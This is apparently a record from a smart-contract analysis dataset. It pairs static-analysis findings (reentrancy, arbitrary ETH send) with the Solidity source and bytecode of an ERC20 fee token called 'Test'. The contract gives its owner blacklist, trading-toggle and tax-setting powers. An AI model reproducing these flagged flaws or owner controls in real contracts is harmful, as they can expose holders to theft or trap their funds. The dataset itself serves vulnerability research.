ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d7257506000546001600160a01b03838116911614155b15610fd357600f54600160b81b900460ff1615610e59576001600160a01b0383163014801590610dab57506001600160a01b0382163014155b8015610dc55750600e546001600160a01b03848116911614155b8015610ddf5750600e546001600160a01b03838116911614155b15610e5957600e546001600160a01b0316336001600160a01b03161480610e195750600f546001600160a01b0316336001600160a01b0316145b610e595760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6857600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eaa57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb357600080fd5b600f546001600160a01b038481169116148015610ede5750600e546001600160a01b03838116911614155b8015610f0357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f185750600f54600160b81b900460ff165b15610f66576001600160a01b0382166000908152600b60205260409020544211610f4157600080fd5b610f4c42600f611af2565b6001600160a01b0383166000908152600b60205260409020555b6000610f713061094f565b600f54909150600160a81b900460ff16158015610f9c5750600f546001600160a01b03858116911614155b8015610fb15750600f54600160b01b900460ff165b15610fd157610fbf81611183565b478015610fcf57610fcf4761106a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101557506001600160a01b03831660009081526005602052604090205460ff165b1561101e575060005b61102a848484846113e9565b50505050565b600081848411156110545760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b49565b95945050505050565b600c546001600160a01b03166108fc61108f600a6110898560066113a7565b90611328565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d7600a6110898560046113a7565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b6000611170611415565b905061117c83826113a7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122d57600080fd5b505afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126591906117f7565b8160018151811061128657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ac9130911684610afa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e5908590600090869030904290600401611a82565b600060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113375750600061045f565b60006113438385611b2a565b9050826113508583611b0a565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611438565b806113f6576113f6611466565b611401848484611489565b8061102a5761102a6005600855600a600955565b6000806000611422611580565b909250905061143182826113a7565b9250505090565b600081836114595760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b0a565b6008541580156114765750600954155b1561147d57565b60006008819055600955565b60008060008060008061149b876115c0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cd908761161d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fc908661165f565b6001600160a01b03891660009081526002602052604090205561151e816116be565b6115288483611708565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061159b82826113a7565b8210156115b757505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115dd8a60085460095461172c565b92509250925060006115ed611415565b905060008060006116008e87878761177b565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611030565b60008061166c8385611af2565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116c8611415565b905060006116d68383611328565b306000908152600260205260409020549091506116f3908261165f565b30600090815260026020526040902055505050565b600654611715908361161d565b600655600754611725908261165f565b6007555050565b60008080806117406064610ab98989611328565b905060006117536064610ab98a89611328565b9050600061176b826117658b8661161d565b9061161d565b9992985090965090945050505050565b600080808061178a8886611328565b905060006117988887611328565b905060006117a68888611328565b905060006117b882611765868661161d565b939b939a50919850919650505050505050565b80356117d681611ba7565b919050565b6000602082840312156117ec578081fd5b813561117c81611ba7565b600060208284031215611808578081fd5b815161117c81611ba7565b60008060408385031215611825578081fd5b823561183081611ba7565b9150602083013561184081611ba7565b809150509250929050565b60008060006060848603121561185f578081fd5b833561186a81611ba7565b9250602084013561187a81611ba7565b929592945050506040919091013590565b6000806040838503121561189d578182fd5b82356118a881611ba7565b946020939093013593505050565b600060208083850312156118c8578182fd5b823567ffffffffffffffff808211156118df578384fd5b818501915085601f8301126118f2578384fd5b81358181111561190457611904611b91565b8060051b604051601f19603f8301168101818110858211171561192957611929611b91565b604052828152858101935084860182860187018a1015611947578788fd5b8795505b838610156119705761195c816117cb565b85526001959095019493860193860161194b565b5098975050505050505050565b60006020828403121561198e578081fd5b813561117c81611bbc565b6000602082840312156119aa578081fd5b815161117c81611bbc565b6000602082840312156119c6578081fd5b5035919050565b6000806000606084860312156119e1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2657858101830151858201604001528201611a0a565b81811115611a375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad15784516001600160a01b031683529383019391830191600101611aac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0557611b05611b7b565b500190565b600082611b2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4457611b44611b7b565b500290565b600082821015611b5b57611b5b611b7b565b500390565b6000600019821415611b7457611b74611b7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094c57600080fd5b801515811461094c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e9fbcddf63ff6f7eb281c902e7cf837d053bd65b83edd4026fee8bbf7a7c93164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,580 |
0xa826053d24d3b78d2970192747f7a7f127d5be6e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
/**
TEST DO NOT BUY
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Test is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Test";
string private constant _symbol = "Test";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xd03b85905292c44360F9593d3d33ae17572C0af7);
address payable private _marketingAddress = payable(0xd03b85905292c44360F9593d3d33ae17572C0af7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026a57806318160ddd146102a257806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ab4565b6105c6565b005b34801561020a57600080fd5b50604080518082018252600481526315195cdd60e21b602082015290516102319190611b79565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611bce565b610665565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50683635c9adc5dea000005b604051908152602001610231565b3480156102d457600080fd5b5061025a6102e3366004611bfa565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610231565b34801561032657600080fd5b5060155461028a906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611c3b565b6106e5565b34801561036657600080fd5b506101fc610375366004611c68565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa366004611c3b565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611c83565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611c3b565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028a565b34801561045157600080fd5b506101fc610460366004611c68565b610898565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611c83565b6108e0565b3480156104a757600080fd5b506101fc6104b6366004611c9c565b61090f565b3480156104c757600080fd5b5061025a6104d6366004611bce565b610ac5565b3480156104e757600080fd5b5061025a6104f6366004611c3b565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc610ad2565b34801561052c57600080fd5b506101fc61053b366004611cce565b610b26565b34801561054c57600080fd5b506102ba61055b366004611d52565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611c83565b610bc7565b3480156105b257600080fd5b506101fc6105c1366004611c3b565b610bf6565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611d8b565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611dc0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611dec565b9150506105fc565b5050565b6000610672338484610ce0565b5060015b92915050565b6000610689848484610e04565b6106db84336106d685604051806060016040528060288152602001611f06602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611340565b610ce0565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611d8b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611d8b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c08161137a565b50565b6001600160a01b038116600090815260026020526040812054610676906113b4565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611d8b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611d8b565b674563918244f400008111156107c057601655565b6000546001600160a01b031633146108c25760405162461bcd60e51b81526004016105f090611d8b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090a5760405162461bcd60e51b81526004016105f090611d8b565b601855565b6000546001600160a01b031633146109395760405162461bcd60e51b81526004016105f090611d8b565b60048411156109985760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b60648201526084016105f0565b60148211156109f45760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b60648201526084016105f0565b6004831115610a545760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b60648201526084016105f0565b6014811115610ab15760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b60648201526084016105f0565b600893909355600a91909155600955600b55565b6000610672338484610e04565b6012546001600160a01b0316336001600160a01b03161480610b0757506013546001600160a01b0316336001600160a01b0316145b610b1057600080fd5b6000610b1b306107c3565b90506107c081611438565b6000546001600160a01b03163314610b505760405162461bcd60e51b81526004016105f090611d8b565b60005b82811015610bc1578160056000868685818110610b7257610b72611dc0565b9050602002016020810190610b879190611c3b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bb981611dec565b915050610b53565b50505050565b6000546001600160a01b03163314610bf15760405162461bcd60e51b81526004016105f090611d8b565b601755565b6000546001600160a01b03163314610c205760405162461bcd60e51b81526004016105f090611d8b565b6001600160a01b038116610c855760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610da35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e685760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610eca5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610f2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610f5857506000546001600160a01b03838116911614155b1561123957601554600160a01b900460ff16610ff1576000546001600160a01b03848116911614610ff15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b6016548111156110435760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff1615801561108557506001600160a01b03821660009081526010602052604090205460ff16155b6110dd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b0383811691161461116257601754816110ff846107c3565b6111099190611e07565b106111625760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b600061116d306107c3565b6018546016549192508210159082106111865760165491505b80801561119d5750601554600160a81b900460ff16155b80156111b757506015546001600160a01b03868116911614155b80156111cc5750601554600160b01b900460ff165b80156111f157506001600160a01b03851660009081526005602052604090205460ff16155b801561121657506001600160a01b03841660009081526005602052604090205460ff16155b156112365761122482611438565b478015611234576112344761137a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127b57506001600160a01b03831660009081526005602052604090205460ff165b806112ad57506015546001600160a01b038581169116148015906112ad57506015546001600160a01b03848116911614155b156112ba57506000611334565b6015546001600160a01b0385811691161480156112e557506014546001600160a01b03848116911614155b156112f757600854600c55600954600d555b6015546001600160a01b03848116911614801561132257506014546001600160a01b03858116911614155b1561133457600a54600c55600b54600d555b610bc1848484846115c1565b600081848411156113645760405162461bcd60e51b81526004016105f09190611b79565b5060006113718486611e1f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b600060065482111561141b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b60006114256115ef565b90506114318382611612565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148057611480611dc0565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114d457600080fd5b505afa1580156114e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150c9190611e36565b8160018151811061151f5761151f611dc0565b6001600160a01b0392831660